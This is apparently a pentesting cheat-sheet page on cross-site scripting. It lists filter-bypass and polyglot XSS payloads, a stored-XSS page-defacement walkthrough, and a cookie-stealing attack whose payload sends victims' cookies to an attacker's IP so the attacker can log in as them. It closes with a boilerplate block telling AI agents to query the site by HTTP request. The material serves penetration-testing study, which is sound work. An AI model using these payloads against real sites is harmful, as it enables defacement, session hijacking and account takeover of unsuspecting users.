# XSS

### Payloads

```javascript
# Standard XSS Payload
<script>alert('XSS');</script>

# Input tag escape
"><script>alert('XSS');</script>

# Escape textarea tag
</textarea><script>alert('XSS');</script>

# Escape Javascript code
';alert('XSS');//

# Bypass filters that strip out malicious words such like "script"
<sscriptcript>alert('XSS');</sscriptcript>

# Polygot payload (Can bypass multiple filters)
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */onerror=alert('XSS') )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert('XSS)//>\x3e
```

### Payload List

{% embed url="<https://github.com/payloadbox/xss-payload-list/blob/master/Intruder/xss-payload-list.txt>" %}

## Stored XSS

### Defacing HTML Titles

Stored XSS can allow opportunity to deface web applications through various methods. One such method may allow for HTML titles and elements to be changed. In the example below we will be altering the HTML title "XSS playground".

<figure><img src="https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2FU6XjZmOORi1kqxaNiJAz%2Fimage.png?alt=media&#x26;token=8b3aca73-d975-4f47-8508-d99cb2527621" alt=""><figcaption></figcaption></figure>

Firstly, we need to identify the Element ID for the title. Using the browser's inspector we can identify the Element ID where we can see the string:

```
<span id="thm-title">XSS Playground"</span>
```

&#x20;As shown in the browser inspector:

<figure><img src="https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fw58Sc0IEzHlDqC34T7Kl%2Fimage.png?alt=media&#x26;token=24352d7e-3249-46fb-9fbc-c419090e6274" alt=""><figcaption></figcaption></figure>

The following payload can be used to alter the title. This payload can be inserted into the comment section on the web application.&#x20;

```
<script>document.getElementById('thm-title').innerHTML="Defaced";</script>
```

After the payload has been inserted we can see where the HTML title has now been changed.

<figure><img src="https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fti0B2nHk5fyIXzQ6kCdm%2Fimage.png?alt=media&#x26;token=b0a872f1-5e6a-4a72-bf0b-258dab67f034" alt=""><figcaption></figcaption></figure>

### Payloads for changing Element ID

```
<script>document.getElementById('ID').innerHTML="Defaced";</script>
<script>document.querySelector('#ID').textContent = 'Defaced'</script>
```

### Cookie Stealing

Cookie stealing can be performed via Reflected and Stored XSS. With Stored XSS anyone who visits the affected web page can have their cookie sent to an adversary. This cookie can then be used to potentially log into the application as the victims user account.

The script linked below is used to set up a HTTP server on the attackers machine which will catch cookies from an unsuspecting users browser session when they active the stored XSS.

Script: <https://raw.githubusercontent.com/lnxg33k/misc/master/XSS-cookie-stealer.py><br>

After the script has been downloaded alter the variables shown below to point back to the attacking system and then run the script with Python.

<figure><img src="https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2FhG2kzk0ugr6VG0ZwXLLv%2Fimage.png?alt=media&#x26;token=10f1904f-becb-4c01-8736-657afb54e25c" alt=""><figcaption></figcaption></figure>

After the script is setup and running the attacker injects the Stored XSS payload as shown below onto the vulnerable web page.

```
<script>var i=new Image;i.src="http://<IP>/?"+document.cookie;</script>
```

When the victim nexts visits the affected web page their cookie will be sent to the attacker.

<figure><img src="https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2F35asy88xryUS82rgoMBK%2Fimage.png?alt=media&#x26;token=42014c94-3f2c-470b-9882-04e6a4b7b60c" alt=""><figcaption></figcaption></figure>

Where the script receives the cookie:

<figure><img src="https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fvx05uXiK3Ah5I6eUVqwc%2Fimage.png?alt=media&#x26;token=b3dd04a8-84c1-43d0-8bf2-3107aa26869d" alt=""><figcaption></figcaption></figure>

The cookie is then placed into the attackers browser session.

<figure><img src="https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2FvsZkGyw3eZ2vrK1MEK5B%2Fimage.png?alt=media&#x26;token=51082d48-cee3-48da-a41c-40d6fe9f07f7" alt=""><figcaption></figcaption></figure>

After a page refresh by the adversary we see they are now logged in as the victim' s user account.

<figure><img src="https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Flo76QUam2CJFZY5Hs3mT%2Fimage.png?alt=media&#x26;token=12fec326-78b3-4af7-8851-546e1fe1e343" alt=""><figcaption></figcaption></figure>

## Reflected XSS

Reflected XSS "reflects" the injected script back to the victims browser through various methods such as search functions, forms and as part of script contained within a URL.

Simple payload for proof of concept:

```
<script>alert('Hello')</script>
```

The page shown below reflects the search query into the URL of the web application. Using the payload shown above we can see how this is reflected back on the web page.

<figure><img src="https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2FOhpsFohTLPac1SUA9bjR%2Fimage.png?alt=media&#x26;token=72f7f3b7-d43d-443e-bc76-fdeffae299ec" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2FQdYIpRFEmsapPjRYUyNS%2Fimage.png?alt=media&#x26;token=9ac076b1-784a-4981-9512-fbae2558760d" alt=""><figcaption></figcaption></figure>

From above we can also see how this affects the URL for the web page.

```
http://<IP>/reflected?keyword=%3Cscript%3Ealert%28%27Hello%27%29%3C%2Fscript%3E
```

### Grabbing machine IP

```
<script>alert(window.location.hostname)</script>
```

<figure><img src="https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fvtrcp0esj90fwAjYLFo8%2Fimage.png?alt=media&#x26;token=1ade601a-fce2-4f75-8a39-82b06ede277a" alt=""><figcaption></figcaption></figure>

## Further Reading

GitHub: <https://github.com/R0B1NL1N/WebHacking101/blob/master/xss-reflected-steal-cookie.md>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://viperone.gitbook.io/pentest-everything/everything/everything-web/xss.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
